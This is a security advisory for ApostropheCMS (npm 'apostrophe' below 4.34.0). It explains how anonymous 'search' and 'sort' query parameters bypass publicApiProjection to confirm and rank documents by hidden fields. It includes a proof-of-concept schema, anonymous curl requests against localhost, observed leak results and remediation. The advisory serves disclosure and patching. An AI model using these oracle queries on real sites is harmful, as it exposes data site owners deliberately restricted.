GHSA-rqgm-cfrp-4hx8
ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | apostrophe | < 4.34.0 | 4.34.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
ApostropheCMS lets a module expose an anonymous read API by setting `publicApiProjection`, which whitelists the document fields unauthenticated callers may see. The public REST GET handler applies every launderable query builder from the query string *before* forcing that projection. Two of those builders, `search` and `sort`, operate on the underlying documents rather than the projected output, and neither is checked against the projection. An unauthenticated attacker can therefore:
- use `?search=<word>` as a **value oracle** to confirm and locate documents by the content of a field the projection was meant to hide, and
- use `?sort[hiddenField]=1` as an **ordering oracle** to rank documents by a hidden field's value.
This is the same confidentiality-bypass class already patched for the `choices`/`counts` builders (gated by `choicesFieldAllowedByProjection`). That gate was never applied to `search` or `sort`.
### Details
For an anonymous caller, `getRestQuery` (piece types: `modules/@apostrophecms/piece-type/index.js:1142`; pages: `modules/@apostrophecms/page/index.js`) does:
```js
const query = self.find(req).attachments(true);
query.applyBuildersSafely(req.query); // (1) apply ALL launderable builders from the query string
...
query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); // (2) force read projection
query.set('publicApiProjection', self.options.publicApiProjection); // (3) used only by the choices/counts gate
```
`applyBuildersSafely` (`modules/@apostrophecms/doc-type/index.js:3327`) runs any builder that has a `launder` method. `search` and `sort` both have one (`doc-type/index.js:2288` and `2127`), so `?search=` and `?sort[...]=` are honored for anonymous requests.
**Search vector.** The `search` builder adds `{ $text: { $search: <user input> } }` (`doc-type/index.js:2282`). The `$text` index covers `highSearchText` / `lowSearchText` / `title` / `searchBoost` (`modules/@apostrophecms/doc/index.js:612`). `highSearchText` / `lowSearchText` are built at save time by `@apostrophecms/search:getSearchTexts` → `apos.schema.indexFields(schema, doc, texts)` (`modules/@apostrophecms/search/index.js:377`), which indexes every schema field where `searchable !== false` (the default for string/text fields). `publicApiProjection` does not imply `searchable: false`. Step (2) narrows the output but not the `$text` filter, so the response returns the projected `{title, slug, _id}` of exactly the documents whose hidden field contains the searched word.
**Sort vector.** `finalizeSort` (`doc-type/index.js:3526`) forwards raw user sort keys to MongoDB (it only rewrites fields flagged `sortify: true`). `?sort[hiddenField]=1` orders results by a projection-excluded field. Combined with `perPage`/`page`, an attacker can page through the fully ordered set.
Neither builder consults `publicApiProjection`, whereas `choices`/`counts` are gated at `doc-type/index.js:2807` via `choicesFieldAllowedByProjection`.
### PoC
**Preconditions:** the piece/page type sets `publicApiProjection`, and its schema has at least one searchable (default) or sortable field not included in the projection.
Test type: `article` exposes only `title`, `slug`, `_id`, but has hidden `secret` (integer) and `secretNote` (searchable string):
```js
export default {
extend: '@apostrophecms/piece-type',
options: { publicApiProjection: { title: 1, slug: 1, _id: 1 } },
fields: { add: {
secret: { type: 'integer' },
secretNote: { type: 'string' } // searchable by default; NOT in the projection
} }
};
```
Five articles were inserted and published via the authenticated REST API:
`A.secret=50, secretNote="zzsecretalpha"`; `B=10/zzsecretbravo`; `C=90/zzsecretcharlie`; `D=30/zzsecretdelta`; `E=70/zzsecretecho`.
The insert responses confirm the hidden `secretNote` value is written into the search index, e.g. for A: `"highSearchText": "... zzsecretalpha"`, `"lowSearchText": "... zzsecretalpha"`.
Anonymous requests (no credentials, no session):
```bash
# [1] Baseline: projection hides secret/secretNote on direct read
curl -s 'http://localhost:3000/api/v1/article?perPage=1'
# [2] Search oracle: value exists ONLY in hidden secretNote
curl -s 'http://localhost:3000/api/v1/article?search=zzsecretalpha'
curl -s 'http://localhost:3000/api/v1/article?search=zznotpresentxyz'
# [3] Sort oracle: order by hidden integer field
curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=1'
curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=-1'
# Negative control: projection override is blocked
curl -s 'http://localhost:3000/api/v1/article?project%5BsecretNote%5D=1&perPage=1'
```
Results (verified on ApostropheCMS 4.32.2, MongoDB 7.0):
| Request (anonymous) | Observed | Verdict |
| ------------------------- | ------------------------------------------------- | ------------------------------------- |
| `GET /api/v1/article` | `_id,title,slug,type,metaType,cacheInvalidatedAt` | projection works on direct read |
| `?search=zzsecretalpha` | only Article A (with textScore) | **leak**: locates doc by hidden field |
| `?search=zznotpresentxyz` | 0 results | oracle confirmed |
| `?sort[secret]=1` | B, D, A, E, C (= 10,30,50,70,90) | **leak**: full hidden ordering |
| `?sort[secret]=-1` | C, E, A, D, B | reverse confirmed |
| `?project[secretNote]=1` | secretNote absent | gated (projection override blocked) |
### Impact
Unauthenticated, network-reachable partial disclosure of fields the developer explicitly restricted with `publicApiProjection`:
- **Search oracle:** confirm and locate documents by words in hidden fields (e.g. internal notes, contact emails, draft metadata, moderation/status flags), returning the `title`/`slug`/`_id` of matches.
- **Sort oracle:** full ordering of documents by a hidden field. With one known reference value or a paging binary search, exact hidden values can be recovered.
No authentication or user interaction required. Not a full field dump, but a targeted oracle over exactly the data the projection is meant to conceal. Affects sites that configure `publicApiProjection` on piece types or pages, up to and including 4.32.2 (same code path present on current `main`).
### Remediation
Gate `search`, `sort` (and `autocomplete`, which feeds `search`) on the public API path the same way `choices`/`counts` are gated. When `publicApiProjection` is in force:
- **sort:** reject or drop any sort key not permitted by the projection, reusing `choicesFieldAllowedByProjection`.
- **search:** restrict full-text search to fields the projection exposes (e.g. a projection-scoped search text), or refuse the `search` builder when the projection excludes any searchable field.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-rqgm-cfrp-4hx8
- https://nvd.nist.gov/vuln/detail/CVE-2026-112954
- https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498
- https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/[email protected]